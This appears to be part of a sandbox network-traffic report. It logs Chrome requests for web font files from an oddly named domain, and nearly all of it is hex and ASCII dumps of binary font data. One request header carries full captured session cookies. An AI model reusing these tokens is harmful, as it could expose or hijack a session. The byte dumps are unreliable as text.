2024-04-23 19:54:14 UTC	744	IN	Data Raw: 77 4f 46 32 00 01 00 00 00 00 6d 60 00 10 00 00 00 01 24 08 00 00 6c fd 00 01 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 1b 81 9d 36 1c 89 16 06 60 00 8e 3c 08 3c 09 97 62 11 08 0a 82 bb 24 82 9c 7f 01 36 02 24 03 8e 78 0b 87 3e 00 04 20 05 8c 03 07 97 7b 0c 81 0d 5b 09 10 71 05 6b b7 5d 5d 4f 88 db 06 10 73 b3 fd a9 7c 99 02 6e 8c 9b c7 21 18 d6 5b 3c 3b 10 83 ee e0 50 26 a6 cf 67 ff ff ff bf 21 a9 c8 98 49 27 69 b7 0d 51 01 44 50 d5 df 9f c4 1e 39 02 92 4a a0 06 b7 80 17 c1 39 47 eb 95 e9 98 51 31 28 8b f2 29 4a 6e c6 19 d5 d4 c5 d4 38 59 f3 d2 1b f9 1a 98 29 4a ce 46 0e 63 20 41 96 af 37 6b ab 76 b3 8b e9 32 3d a1 5a ee 6e fa 34 60 12 ed 81 a0 c0 7e 4e 6c a4 81 ef 34 3b aa 91 07 53 f6 6c 7b 77 c7 c7 3a ae 23 d5 ee aa 3d 21 bc 20 Data Ascii: wOF2m`$lB6`<<b$6$x> {[qk]]Os\|n![<;P&g!I'iQDP9J9GQ1()Jn8Y)JFc A7kv2=Zn4`~Nl4;Sl{w:#=!
2024-04-23 19:54:14 UTC	1369	IN	Data Raw: fb cf db e5 9f fb 06 4b 68 b0 50 00 7c 22 4d 93 ae 4a 51 a6 00 02 1a e0 df 3f 60 01 fc 53 40 7b df ed 6f 97 f6 52 6a 43 45 a1 71 78 8f 70 92 21 28 57 69 9f a4 1b eb 64 59 b5 25 ff 2f 72 f2 23 13 70 04 e7 43 20 15 c4 93 e2 e9 00 00 81 82 83 f3 72 1e 6f 34 50 f1 7d e4 e6 7f 33 58 92 99 5d 88 fc f3 a2 d4 ae 01 36 f2 9e 27 7e 26 b0 d3 c0 5d b7 b4 a7 2a 79 09 f4 8f b6 ff 59 51 82 a7 39 e1 22 76 b7 c3 17 cb 33 f0 af 90 a0 d9 6f 45 4d 51 6f 57 4d 16 57 60 cc 85 de 1f 9a 8a 01 13 c4 07 db cc a4 0e 94 94 10 82 59 08 56 81 8a 4f 32 11 7f ee f1 f8 f4 6c 83 02 c7 ac 9d 70 01 31 87 f4 42 a5 c2 bf 46 6e 0e 7f 6f 10 3c d0 ab a8 2c 43 8f f7 0f fd 97 f8 5e c0 59 e6 43 00 b6 fe 57 ae e9 b6 74 58 e2 11 7c a8 60 d2 a6 bc 97 35 3a f7 59 64 40 5d e5 12 6a 18 bb 24 b6 dc ca 76 Data Ascii: KhP\|"MJQ?`S@{oRjCEqxp!(WidY%/r#pC ro4P}3X]6'~&]*yYQ9"v3oEMQoWMW`YVO2lp1BFno<,C^YCWtX\|`5:Yd@]j$v
2024-04-23 19:54:14 UTC	1369	IN	Data Raw: 1a 4e 4a ad 68 65 68 64 9a cf 32 9d 4d e7 8a 0a 96 48 c8 6c 22 d8 b5 a2 1b ed 62 bc b1 36 52 21 05 95 14 c7 81 94 35 dc bc 61 7e c1 b4 7a 90 11 b4 ca 1d 10 b9 22 0a 08 40 c0 9b 31 90 dc 27 05 17 40 40 05 00 50 85 55 b6 46 4e 76 17 a1 cf f8 91 28 18 bc 86 dd 28 8a 0d 6e 1d 26 6e 7d 95 e8 90 58 8c 91 02 38 4a a0 94 87 e5 5a 50 e2 4c bc d0 25 06 2b 80 8c c4 05 99 9c 71 86 d8 29 ca 83 fb a6 88 8f df 77 45 f5 08 aa 72 b3 dd 04 90 49 e7 01 a0 73 40 15 14 14 29 cb f1 82 58 04 82 31 5a 02 29 dc 92 31 91 53 51 02 a6 fa 29 2a 80 d8 45 b8 e5 49 0f 90 d8 00 4a f9 09 a8 6e 75 4c 81 89 2f 00 77 7d b0 d2 75 b4 ea 9a ae 67 98 3e 3c 14 be 13 55 48 55 f9 1e 60 2e ed fc 69 cf da b5 42 06 20 96 20 07 60 a8 05 c2 4c f9 e3 9b e0 38 ab d1 83 9b 3a 8b 85 5e ca a3 dc 75 85 2b e0 Data Ascii: NJhehd2MHl"b6R!5a~z"@1'@@PUFNv((n&n}X8JZPL%+q)wErIs@)X1Z)1SQ)*EIJnuL/w}ug><UHU`.iB `L8:^u+
2024-04-23 19:54:14 UTC	1369	IN	Data Raw: 84 2f 8d 21 bc 9b c0 9e 39 aa 76 68 dd 8c 5b 2f 6b 9f 1d b3 c9 cf 85 80 7e 4d 7d 1c 44 b5 56 8e d5 c6 7d 25 c4 02 3b 1b 15 6b 50 8d 7e cb ba 24 26 a5 bb 63 d1 11 53 27 2b df 09 8c 31 2c f4 05 2d 8e 9d 58 08 42 45 de 45 e3 4e a2 83 07 5d cd 4a 33 e0 b5 97 e1 ae c5 ad d6 f0 84 e2 b0 3c c6 03 e7 41 3f 7a 78 70 cc 8c 76 2e 02 cf b0 85 b1 bb 8b 6f c8 80 02 d5 9e 4a 0a a0 e3 4b b7 9b 9f c2 a6 10 af 98 9a 67 7a 8f e4 ad 45 d1 58 cc 2e ad 55 97 e2 39 c3 32 ea cd 24 ff 27 7b 73 5b b5 87 25 e3 73 aa 4d 39 f0 18 1c e6 1b 82 af d3 ba d2 3c 76 ce 79 bf b0 50 9d c3 58 69 34 3f af 43 4d 37 3b 6c 0d ce 6f 77 95 ec 53 d8 54 86 b1 6d 91 2a 74 76 a0 4a b1 bf 18 8f 94 7e cf d7 cf f4 a0 5e 55 14 0e 79 da 72 32 2d 41 57 0e 69 b4 3f 77 7c c5 7f e3 8f 3f 86 9b ff 3b dd 9e 48 b6 Data Ascii: /!9vh[/k~M}DV}%;kP~$&cS'+1,-XBEEN]J3<A?zxpv.oJKgzEX.U92$'{s[%sM9<vyPXi4?CM7;lowSTm*tvJ~^Uyr2-AWi?w\|?;H
2024-04-23 19:54:14 UTC	1369	IN	Data Raw: 2d cf 99 80 54 9b eb 9f 00 6a 07 4d d1 ff 28 8b fc 6c d2 51 9d 0e 83 9d 22 5c e7 48 fc 92 05 99 2d cc c3 68 90 eb c1 5c 1c b1 24 18 71 2e 08 a3 6c db c7 5b cb 58 47 63 ba 7c 3d 91 9d bf 11 44 11 fd a1 6b 70 7b ee c6 de 50 49 44 db ef aa dc 2c 43 d6 77 cc 1f aa ac 43 7b cb 87 68 e6 c2 24 ef 71 39 38 ea ca 50 a1 dd a1 b9 16 af e7 5b 36 1a a3 68 7d b7 d1 9b 19 9e 1c 5e da b3 75 d6 19 24 b3 60 d0 95 e7 b7 0d b0 2c 6e a1 9e a0 81 cf 5d 0e 63 53 f1 46 00 2f bb fe 1f 70 a5 9e 58 1d 8b e9 75 3b 36 ba 42 6c 18 29 19 db c5 7e 29 4e 35 47 ef 03 d3 11 c4 6b cc 5c b2 8c 98 87 f1 b4 13 7a 4a eb 68 53 1d d1 cd 11 38 50 f8 a2 27 ad a6 67 78 4b 59 17 a6 07 71 e0 18 1c 10 0b 1d 4d 5f a1 68 c3 41 66 ce 84 77 dd 8c a7 e9 0d 2d 3e d3 90 90 f7 e2 a7 6d b2 50 7a fd 83 9e 09 59 Data Ascii: -TjM(lQ"\H-h\$q.l[XGc\|=Dkp{PID,CwC{h$q98P[6h}^u$`,n]cSF/pXu;6Bl)~)N5Gk\zJhS8P'gxKYqM_hAfw->mPzY
2024-04-23 19:54:14 UTC	1369	IN	Data Raw: 39 e2 c8 e7 ed 03 c0 64 f5 67 15 d4 4b a0 1c 83 ae 60 ec ae 01 51 24 52 a8 17 ec d7 e5 02 86 d6 f7 93 a3 02 4c fd 08 2e 8c 51 67 00 58 f0 b7 dd 29 00 ab bc b1 63 95 3a c0 e5 1b 8e 84 eb 18 37 bb ef 5b d7 78 fc 7d eb 19 6f bf 0f 7d 63 b3 00 00 20 24 28 4c 1c 20 c3 ee 31 20 a1 ae 01 e7 67 65 60 3c ab 00 96 58 09 ac 4a bb 44 03 43 dd 38 d9 f3 a2 2b cd a5 b3 5c 2d 6b ac c0 93 b0 6f fd 3a 04 fd 22 2e c2 be 55 37 a0 58 93 20 c4 cf 40 e9 fe 01 ff a3 bf 02 54 df f1 8b 37 d2 18 b9 b2 03 8d 66 21 96 60 25 57 88 a6 3f f3 e8 ee 9c 1a f8 ec 5f 95 a3 57 af 34 dc c0 f6 14 72 54 dc 81 7e 73 3e 7a 37 c6 fa dd 84 b2 82 b7 a0 7a 70 7b fd bf 42 d0 4f eb 28 a4 30 55 01 23 24 61 8a 97 2a 35 0e da f7 f4 cd 10 22 2c 42 aa 28 31 81 9a 39 89 24 32 0a 29 54 d2 64 c9 91 a7 40 89 a2 Data Ascii: 9dgK`Q$RL.QgX)c:7[x}o}c $(L 1 ge`<XJDC8+\-ko:".U7X @T7f!`%W?_W4rT~s>z7zp{BO(0U#$a*5",B(19$2)Td@
2024-04-23 19:54:14 UTC	1369	IN	Data Raw: af 7c b3 6d 8b 0c 04 3f 40 60 4f 3c e0 20 be 10 e4 01 3d a8 7d a6 28 9b 38 a1 c5 64 57 74 3d ec 7f 7d 08 26 bd 16 95 ea 5b 16 b0 5d d2 de b5 6e b9 e3 ae 7b 6e 6b 72 28 f0 1d 1b 15 eb 74 db 4d 9d ae bb 2f 4e a5 f6 c0 61 4c 1d c7 6e b4 0c 4d bd 43 5d 9c ee 65 37 b8 ea ff 8d 8b ca 96 bb eb 56 d5 5a 4d 90 d4 e4 b5 76 87 e4 8d 45 7d 9a 48 7b 15 e0 5a c2 73 b4 ee 2e be 04 f8 b4 7e c7 da 3d f4 f5 ed 7a 5a 3f ac 25 b2 36 32 5a f6 5f c0 4a 1d ff a4 c9 f4 bf f6 4f f8 3a c0 5c 92 fa 51 9c be bf bc 3e 88 6f 28 0a 9c e4 45 91 5e ff 83 f9 e0 35 e2 f6 53 a6 99 64 a7 9e 68 3c 39 c1 74 f8 af 2d f4 6b e8 e9 d0 0e 42 8c e0 02 a8 36 9f 40 50 6b 72 08 44 df 89 c3 a0 23 f1 be 82 8f 9f a6 6c c8 ea e2 70 81 d8 e7 08 a7 65 e7 73 8e 16 c3 78 1e d8 5f dd 27 48 e7 20 ba 7f 9a bb 53 Data Ascii: \|m?@`O< =}(8dWt=}&[]n{nkr(tM/NaLnMC]e7VZMvE}H{Zs.~=zZ?%62Z_JO:\Q>o(E^5Sdh<9t-kB6@PkrD#lpesx_'H S
2024-04-23 19:54:14 UTC	1369	IN	Data Raw: 85 bf 53 bf e2 c7 1c f6 cf 7b e2 5f aa f0 6f 0a fc 99 a3 fe 7b 4f fc 4f 15 fe 4f f1 7a c1 4f 5d c3 5e e8 fa 49 b7 d0 0e 70 d3 ad 1f fb c9 d3 33 05 10 1c 9c 8f f4 d8 f9 ab 65 5f 2e 9e fa 31 5c 0f 80 47 2e 03 e8 af 1b ab 78 90 19 8c 5c 3d 16 50 9e 10 aa b7 bb f1 96 e9 e8 50 5a 57 99 89 cb 42 8c 4f a5 c6 83 b0 72 71 d2 e9 5c 2c 8d e9 08 ac 4c 5d e9 e1 2a 2c 52 ba 08 9f 4a 8e 07 a1 28 86 32 a7 dd c8 b8 a8 8b 07 a7 74 ba 73 43 a8 e0 ea ca f2 67 58 b7 fe e2 8b 5d 0d dd c5 61 5a 55 59 9a 0f cd a5 7c b3 55 ed 6b 08 d9 3e 2e e8 14 eb a1 c6 2d 23 31 06 d3 5c 07 73 91 a5 48 f6 10 c2 65 09 59 44 d5 32 9e c2 c0 67 88 49 29 63 f6 60 86 66 ae f7 aa d0 58 94 7c 06 f4 ab 58 8e d0 72 36 8b 19 fb d1 96 1d 44 50 d7 90 6d 47 b6 20 cc 83 76 4d b5 21 b9 79 ec 7d 89 41 6e 78 78 Data Ascii: S{_o{OOOzO]^Ip3e_.1\G.x\=PPZWBOrq\,L]*,RJ(2tsCgX]aZUY\|Uk>.-#1\sHeYD2gI)c`fX\|Xr6DPmG vM!y}Anxx
2024-04-23 19:54:14 UTC	1369	IN	Data Raw: 12 04 2e 4d eb 35 d1 e1 80 1c 69 5d bf cc a1 e8 ac ef 3b f9 0a 24 ed 13 15 ac 4d 28 6d ea 7c 96 81 ad 6b 76 cb f2 ea 9a 98 e8 b3 84 7a ce d7 ad d3 1a f7 5d b8 96 7f e0 ef fb 3e d2 ff 10 71 be 45 2d 8d b5 93 2a 9f 2a fe 87 98 cc f7 1a 0f e6 a6 af f9 2b 26 34 d7 d6 39 10 09 be 2e 9e f0 d4 8e 33 b4 8b 19 e5 a9 9d 73 66 58 9e dc dc f7 04 ae e0 53 fd d4 74 7f cd 9a 76 7c 53 74 7a b8 41 07 9a 43 e8 66 29 ea 9d 9e 9c 9f 60 5e dc a2 67 a2 89 2e 8a 3d 6a 11 03 df b2 c3 35 2d db bf 54 8e 2c e8 63 02 b6 b6 82 1f 1e 48 3c 04 3a 4d 54 d0 ba 1b 7f cf 00 55 2a 7c 3c 7a f7 c0 a9 d4 3c 3a e4 66 3e 91 cb 46 cd d4 3b 3d 5e 7c 75 77 09 fc 80 de 6b 83 b1 31 20 03 f7 52 5b 17 79 79 fc fa e3 c7 fe 67 66 0b 87 1e ce e4 67 4f 5f 86 a5 da ce f5 c1 0b 83 57 1e 81 d4 75 41 77 3a b7 Data Ascii: .M5i];$M(m\|kvz]>qE-*+&49.3sfXStv\|StzACf)`^g.=j5-T,cH<:MTU\|<z<:f>F;=^\|uwk1 R[yygfgO_WuAw:
2024-04-23 19:54:14 UTC	474	IN	Data Raw: f9 3b 07 e6 8f 03 0a 13 5b 7c 11 96 dd 39 50 c7 5c e8 b6 f3 ef e1 f8 f4 af 76 d7 04 6c a5 5b 5e a5 1f 82 e5 c8 48 75 02 05 a3 99 05 4b 0b cf 39 99 9b 44 e9 29 d2 4f e0 4d 76 5e eb d9 c9 2a 51 3c d3 98 aa 7e 11 1f 98 ae d2 2b d3 a4 f9 9a 0c b7 3d 84 70 b2 dd be ff 15 fd d3 ca ed c7 5a e4 3b 4f 4d 7e fe de f7 38 7c 59 78 f5 45 72 48 c9 b4 a5 47 d1 4f d6 15 62 27 b3 8b 70 d3 fa a2 3e a2 bc 65 ae 08 dd f4 4c 26 b8 0e bb 11 81 6e 8c ee b3 4e 29 73 93 b2 4d 47 db 14 36 f3 fd ef 69 4c 75 77 3d d1 4d 84 97 19 e8 a7 6b fe ff f9 e1 fa fd 4c a2 2c c7 1e 8d a7 96 3f 2a d7 8f 3f 1f 03 bf fd da ba fb e8 7b 75 c5 a3 0a fe 9a ef 16 b0 ec ef b4 ce b9 94 ed 47 9b 64 db 4f 4d ac 65 d4 fc 88 ba 28 3c ff 22 39 a2 6a b1 ac 41 de 47 d1 17 e3 ce e4 66 86 cf a8 ea 07 b9 46 7e 13 Data Ascii: ;[\|9P\vl[^HuK9D)OMv^Q<~+=pZ;OM~8\|YxErHGOb'p>eL&nN)sMG6iLuw=MkL,??{uGdOMe(<"9jAGfF~

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
47	192.168.2.5	49773	172.67.143.205	443	6412	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-23 19:54:07 UTC	1442	OUT	GET /12K3yC85Zl4Gjr78g8Ljxqr50 HTTP/1.1 Host: o5u7g.zleu9.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" Origin: https://o5u7g.zleu9.com sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: same-origin Sec-Fetch-Mode: cors Sec-Fetch-Dest: font Referer: https://o5u7g.zleu9.com/XhaQEKHwmqeXiuCbMVTRVruGRjRPRIDWFUPFICPEYZGBHMWGEVVPPBXVQDKEPFCXWUJ?MCFKKCTFWYSAEFPSCNVZQJIUBPpheTomFVBFOCNFEXHSGGZYDODQKSWFTPNMNKEYPKASTONRVGUROOMDEYM Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: XSRF-TOKEN=eyJpdiI6IlBNQ1RsOW5qRm1QaVFuTWZTWWtyVlE9PSIsInZhbHVlIjoiSXlJQ21kQmJ4bzFEaXlMSExneUt0Yk53TEs4S001NTVFa0RKUGF2emNvTGdWQThBbCtQT0dGMUZXcTJuWlBqdFdsYm9aeXpETWVMUjZ5NjZwOXhzSFp2SHMwNWRZSmh4MUIzdW93bGdyK1Q5YzFKVEdXeEdEa3dTRTg1ZXAzb3QiLCJtYWMiOiJmNWFkYjY5ZTRhNDZkOGVhNDZhMjMyZTZkNjY1YjZkM2EwNGQ2NDM0Mzk2Y2Q4ZTc4ZmMzZWI3MjQzMWI3Mjc5IiwidGFnIjoiIn0%3D; laravel_session=eyJpdiI6IlNsblJUajhYU0tNQW9lZFVDckxQYnc9PSIsInZhbHVlIjoic3dLci9nb1pQWW1vSjRDV3FrcXlrdHRwaUkyeHR4K0FOKzlQS3BvczJuQzBjQ2ZSSXc1czV0MnVVa0hyOTl6a0cyYXVlMUpuTUtpSk9STm5DRDNzdDNlVHNmOWQvQ2txZGNDV3FSbHRHdWhPdTE3Y0NCRnBxaHVwY2EvcmdLcUoiLCJtYWMiOiI5YmZiMGZlZmY2NzBkN2U5ZTY3MDg4YTUxYWY2NmViZTY2NDQ5MmU4ZjQ5M2UyODYxZDljMzcxZTIzYjYzZDcwIiwidGFnIjoiIn0%3D
2024-04-23 19:54:07 UTC	623	IN	HTTP/1.1 200 OK Date: Tue, 23 Apr 2024 19:54:07 GMT Content-Type: font/woff Content-Length: 35970 Connection: close Content-Disposition: inline; filename="12K3yC85Zl4Gjr78g8Ljxqr50" CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=Yw0RQCBcwlyh6BotsTUQM%2FUsK0BoeFdZyoBqvuCPhjOJJ5%2F%2BDVd8xq7zqv2DUsY%2FDQOOFDgB5fJvqHeomi9nMdw5E75%2BiP6yYfV7VZh3d9SoAdzTnFZ3VPxtfXM5Hg%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} alt-svc: h3=":443"; ma=86400 Server: cloudflare CF-RAY: 87906752ed9e4513-ATL
2024-04-23 19:54:07 UTC	746	IN	Data Raw: 77 4f 46 46 00 01 00 00 00 00 8c 82 00 11 00 00 00 01 24 20 00 01 00 00 00 00 8b 5c 00 00 01 26 00 00 02 93 00 00 00 00 00 00 00 00 44 53 49 47 00 00 8b 54 00 00 00 08 00 00 00 08 00 00 00 01 47 50 4f 53 00 00 01 80 00 00 17 df 00 00 4e b6 ed 42 8f b9 47 53 55 42 00 00 19 60 00 00 02 ad 00 00 04 96 8c 33 79 b9 4f 53 2f 32 00 00 1c 10 00 00 00 46 00 00 00 60 69 c3 7b 5b 63 6d 61 70 00 00 1c 58 00 00 05 1a 00 00 07 3c 97 3f 2b 12 63 76 74 20 00 00 84 dc 00 00 00 2f 00 00 00 3c 29 81 01 c0 66 70 67 6d 00 00 85 0c 00 00 05 c1 00 00 0b e2 3f ae 1b 9f 67 61 73 70 00 00 84 d4 00 00 00 08 00 00 00 08 00 00 00 10 67 6c 79 66 00 00 21 74 00 00 52 61 00 00 9d a4 24 e0 b2 69 68 65 61 64 00 00 73 d8 00 00 00 33 00 00 00 36 1b 16 7d b8 68 68 65 61 00 00 74 0c 00 00 00 Data Ascii: wOFF$ \&DSIGTGPOSNBGSUB`3yOS/2F`i{[cmapX<?+cvt /<)fpgm?gaspglyf!tRa$iheads36}hheat
2024-04-23 19:54:07 UTC	1369	IN	Data Raw: ca a7 02 da 41 45 b4 8b f6 d2 01 fa 90 4a e8 10 1d a6 06 6a e2 04 f6 b2 8f bb 71 26 5f c6 d7 f2 60 be 81 87 f0 50 be 91 87 f1 4d 3c 9c 6f e6 5b f8 56 1e c1 b7 f1 48 1e cb 53 78 3a cf e0 99 3c 8b 67 f3 1c 9e cb f3 78 3e 2f e0 85 bc 88 17 f3 12 5e ca cb 78 39 af e0 95 bc 8a 57 73 2e e7 f1 26 de ca 85 bc 93 8b 78 0f 17 13 f3 6a 55 4a a9 94 ae 42 d4 53 9d a7 1c 32 28 5f b5 d0 01 55 c7 d3 d5 51 9e a1 82 3c 87 e2 79 ae 6a e6 79 d8 e7 ab f3 bc 50 85 78 b1 3a c5 cb d0 b6 02 6d 2b b1 af 56 d5 fc 8a aa e5 35 68 5b 8b 7e 45 b8 57 4c dd e8 72 70 c0 07 1e f8 30 ea 19 2a 50 75 18 f9 24 4f 41 af e9 94 86 d1 b7 f1 4c 4a e1 59 e4 e5 d9 e4 e1 39 18 65 ae da 02 4c b5 c0 14 02 a6 20 2f 22 3f b0 6d e1 a5 94 08 8c 8d bc 1c bf 2b f0 cc 4a ec ab c8 00 e6 a3 9c ab 1a f8 15 ea 2a Data Ascii: AEJjq&_`PM<o[VHSx:<gx>/^x9Ws.&xjUJBS2(_UQ<yjyPx:m+V5h[~EWLrp0Pu$OALJY9eL /"?m+J
2024-04-23 19:54:07 UTC	1369	IN	Data Raw: 2f 35 de 74 d3 5e f4 39 ff 11 7a a1 e7 db 00 aa 6a 1d 19 56 5a 57 86 48 dc 00 97 0c cb df 06 44 32 47 d0 be cf d6 47 e1 40 dc f0 9f e8 bc ef e6 e4 11 eb e1 13 bf 8f ec f1 0c fa c6 ab 90 aa 27 03 73 ec a2 5a 00 90 2e ee 04 71 d6 a8 af e9 82 6f 6a bb 7a 16 de dd 07 09 27 ab 4f 54 b9 aa 55 cd aa 5a fd 45 2d 01 d5 75 ea b0 3a a3 3e a3 38 d5 a4 ce 83 de 7c d0 df 97 52 70 75 94 92 c0 9f d8 51 f9 02 a8 d4 bf 0d 42 5d 85 3a 41 99 ea 04 a8 1d 40 1e 50 59 8d a6 7b cc dc 9e fc 2d 41 9c 5d 4e 7e e1 ae 81 59 7d 09 c9 c5 66 eb 02 ac d5 ea 24 f2 9c 78 a1 06 76 01 ed 20 75 4a f3 4a 73 10 96 d3 c5 99 53 50 7e d2 e5 2c 1e 67 be 18 f1 f2 a0 3a 07 1a 6b d4 11 70 26 01 60 40 f6 04 e9 96 a1 d1 83 3c d3 03 30 a4 9e 21 58 2e b9 e8 f5 4a d5 14 1b 2a b7 a9 57 21 b7 4c 00 a9 f7 14 Data Ascii: /5t^9zjVZWHD2GG@'sZ.qojz'OTUZE-u:>8\|RpuQB]:A@PY{-A]N~Y}f$xv uJJsSP~,g:kp&`@<0!X.J*W!L
2024-04-23 19:54:07 UTC	1369	IN	Data Raw: 75 5a 7d ac de 52 27 f5 1a 9c 39 86 da a5 f6 aa 77 20 cb 62 68 0f 34 06 da 9b 6d cb 57 8e 1f aa b3 6a 87 ab 1a 2d 95 b7 c3 cd ea 20 ec e4 20 e4 58 62 d2 a1 73 2d f1 c6 01 8c ad b5 af 0c 39 56 10 ed a5 c0 9e 8a b3 24 f8 b3 0c f5 67 3c dd 1c d1 67 f8 61 5f 6f 80 8a a5 f0 7d 7e b1 da 06 f4 6d c1 dd 15 e4 87 9e 7f a2 df d2 6b 3f 0a 7c 59 82 eb 55 1a 8e e3 93 ba 16 47 b5 11 ef f0 ef 6d 8b 2b d5 ea 7e 3c b9 4e 7f c7 25 1e 2d e8 5a 17 09 60 fe 86 9a a4 72 25 2f e8 02 2b db 4d 37 e8 55 27 f5 38 65 ab 0f 1d 9a da 48 4c 4b 16 fe e6 a4 da 6f 71 df a0 ae 62 b9 65 ed bf c4 41 e5 d1 d0 46 b6 ae f5 10 75 5c 1d 06 cf fc a6 15 68 2a ac 9c da bd 26 1f f6 56 49 be c2 33 cf f4 db d8 52 bd 9e a6 69 8f 20 71 d3 03 9d 50 07 1c 1f 60 98 39 7c c4 bc 3e 14 3d d2 60 a6 15 ad 96 20 Data Ascii: uZ}R'9w bh4mWj- Xbs-9V$g<ga_o}~mk?\|YUGm+~<N%-Z`r%/+M7U'8eHLKoqbeAFu\h*&VI3Ri qP`9\|>=`
2024-04-23 19:54:07 UTC	1369	IN	Data Raw: bb 08 29 71 c1 88 90 33 d7 58 35 64 95 ce b7 a1 21 51 be 30 47 2d b2 0e b5 9e 1d 15 6d 0b c8 96 da fa a0 ca c3 08 65 c8 4a c2 22 b7 ca 90 fe 55 ad b1 5d 3d d7 69 66 d6 59 bb ac 92 9b df 5d b4 59 47 5b a0 d6 a0 36 4b 32 2b 43 f5 17 b3 12 b6 f2 f1 06 e4 bd 46 ab 26 29 ed db 72 c8 f9 8e 27 7c d5 c0 f4 66 7f a5 04 5d b9 a5 ae 07 5d 54 ee 76 a8 3c aa ab 4e c9 d2 8a a4 2a d8 25 df fe 6b 5b 14 2a 5b 9a db fb 4b 97 75 75 4a 65 c4 dc dd 6b 7f c9 2f b5 48 99 53 57 d5 44 fb 7b 1c d4 1d 75 f0 0b a9 e2 ef b2 91 c5 37 80 af c9 ad ef 99 d5 fd 12 21 b2 25 f3 31 35 2c 45 de c5 d4 c9 93 a6 8e a5 09 bf 33 44 e7 bc f2 05 6a 36 20 00 d0 35 76 26 ee 24 8a a7 e9 2f f4 18 f0 41 b5 c0 14 14 2d 0d e8 15 76 e9 d5 5a d5 d6 45 58 cb 6c b1 fc 66 8b 95 ed 35 c3 fb b5 56 22 f1 ae 1c b8 Data Ascii: )q3X5d!Q0G-meJ"U]=ifY]YG[6K2+CF&)r'\|f]]Tv<N%k[[KuuJek/HSWD{u7!%15,E3Dj6 5v&$/A-vZEXlf5V"
2024-04-23 19:54:07 UTC	1369	IN	Data Raw: c9 7c 3b 8f a6 4b f8 4e be 87 02 3c 86 c7 51 26 a2 09 ec 14 f1 e4 e7 d4 83 a7 f0 14 1a c8 53 79 2a f5 e6 a7 f8 29 4a e2 5f f0 2f 70 fe 34 3f 8d f3 5f f2 7f a2 cf 34 9e 46 5d f9 57 fc 2b 4a e3 67 f8 19 9c ff 9a 7f 8d f3 e9 3c 9d ae e1 19 3c 83 46 f1 4c 9e 49 f7 f0 2c 9e 45 63 78 36 cf a6 2b 79 0e cf a1 7e 88 59 cf 92 0f 51 eb 79 1c e7 f2 5c 1a cd f3 78 1e 0d e0 f9 3c 9f 46 f0 0b fc 5f d4 8d 17 f0 02 1a cc 0b 79 21 dd c0 8b 78 11 dd c6 8b 79 31 8d 44 a4 5b 42 b7 f0 52 5e 4a b7 f2 4b fc 12 8d 47 c4 5b 46 fd 79 39 2f a7 6b 79 05 af a0 eb 78 25 af a4 eb 11 07 57 d1 55 bc 9a 57 eb ff 3b c4 b9 74 35 ff 96 5f a6 cb 10 19 5f a1 3b 78 0d af a1 9b 74 84 a4 e1 3a 42 d2 5d 88 90 9b e8 76 44 c9 cd 74 b3 8e 93 94 a1 63 23 28 dc c1 3b 70 dc c9 3b 69 18 a2 64 11 0d 42 9c Data Ascii: \|;KN<Q&Sy*)J_/p4?_4F]W+Jg<<FLI,Ecx6+y~YQy\x<F_y!xy1D[BR^JKG[Fy9/kyx%WUW;t5__;xt:B]vDtc#(;p;idB
2024-04-23 19:54:07 UTC	1369	IN	Data Raw: 2e 4d 84 e2 4d a6 2f 86 58 3a f1 f7 51 07 8a 8e 96 dd 16 0d 2b 1a 54 94 04 e7 22 8a ea f2 9f 23 98 50 be 0e 0e a6 06 63 83 93 03 e7 82 04 ce 04 7e 0d 14 06 32 02 63 02 ab 8f 3f 75 fc 49 ff 01 7f be 7f 07 f8 73 fc ab fc cb fc 63 fd f1 fe f8 a3 95 4a 9e aa 38 27 ec 40 58 be 75 35 c5 8a 4c 9b 39 e5 af cd 65 0b 47 f9 98 13 7c ad 34 70 06 da 4c 76 52 9c f9 65 db 65 ab 93 e6 2c 71 32 9d 2c 67 8d 93 e3 6c 74 f2 9c 5d ce 1e 27 df 29 70 0e db de 61 e7 b8 f3 31 e7 1d 4e de 3f ea 6c 27 e7 cf 22 c4 ba f4 ae 36 6a b1 f6 e8 4d ad 52 8a 66 6b 9e 36 e9 39 4d d2 34 8d 53 82 86 6a 87 b6 6a a7 66 6a be 5e d5 58 bd a6 17 35 45 dd f5 ba c6 eb 0d 4d d4 0c 2d 51 86 d2 94 ae 09 ca d4 7d 5a a0 85 4a d4 7e a5 aa 9f b2 b4 59 3d d8 a7 95 4a 52 9c 16 69 8c 66 11 4d 1b da 9a 6b ae 31 Data Ascii: .MM/X:Q+T"#Pc~2c?uIscJ8'@Xu5L9eG\|4pLvRee,q2,glt]')pa1N?l'"6jMRfk69M4Sjjfj^X5EM-Q}ZJ~Y=JRifMk1
2024-04-23 19:54:07 UTC	1369	IN	Data Raw: 2c 41 1c 79 97 ab 31 c7 11 da 60 1f 5c 11 1e e6 af 33 1a c2 62 c2 63 42 82 74 a1 fe a1 29 51 1a e8 94 ce 90 11 c1 e8 fd 55 ea 80 00 bd bf 37 63 34 e0 8c 2c 4b 66 9c d1 a8 95 de 18 b4 e7 f1 5f 17 9e 58 61 2b 29 ef 5e 51 bc fe dc 90 fd 36 83 e6 2f 1c 5a 74 1b c7 77 0f ae e9 11 3e e5 77 66 b6 ed ae 69 bf 2f 33 fd cc 8a 96 23 83 05 6c 79 fd bc 92 4e e1 a4 fd d1 ae ae a6 7e 61 39 a5 77 d3 e8 6d 7e 35 7f 04 19 50 ba 2d 25 32 c2 db 0b 46 11 97 21 86 c1 cd 80 5e 40 39 c1 b9 99 03 fa 04 a2 0a 8c c2 42 fc 7c 3d dc 90 01 1b 78 b5 7f 12 1f 1d 17 c7 58 32 fd b2 62 cc 19 5c a0 3a 2e ce 18 ed 0d 38 47 30 e6 8c 2c 6b a0 8a 63 b9 87 47 ce 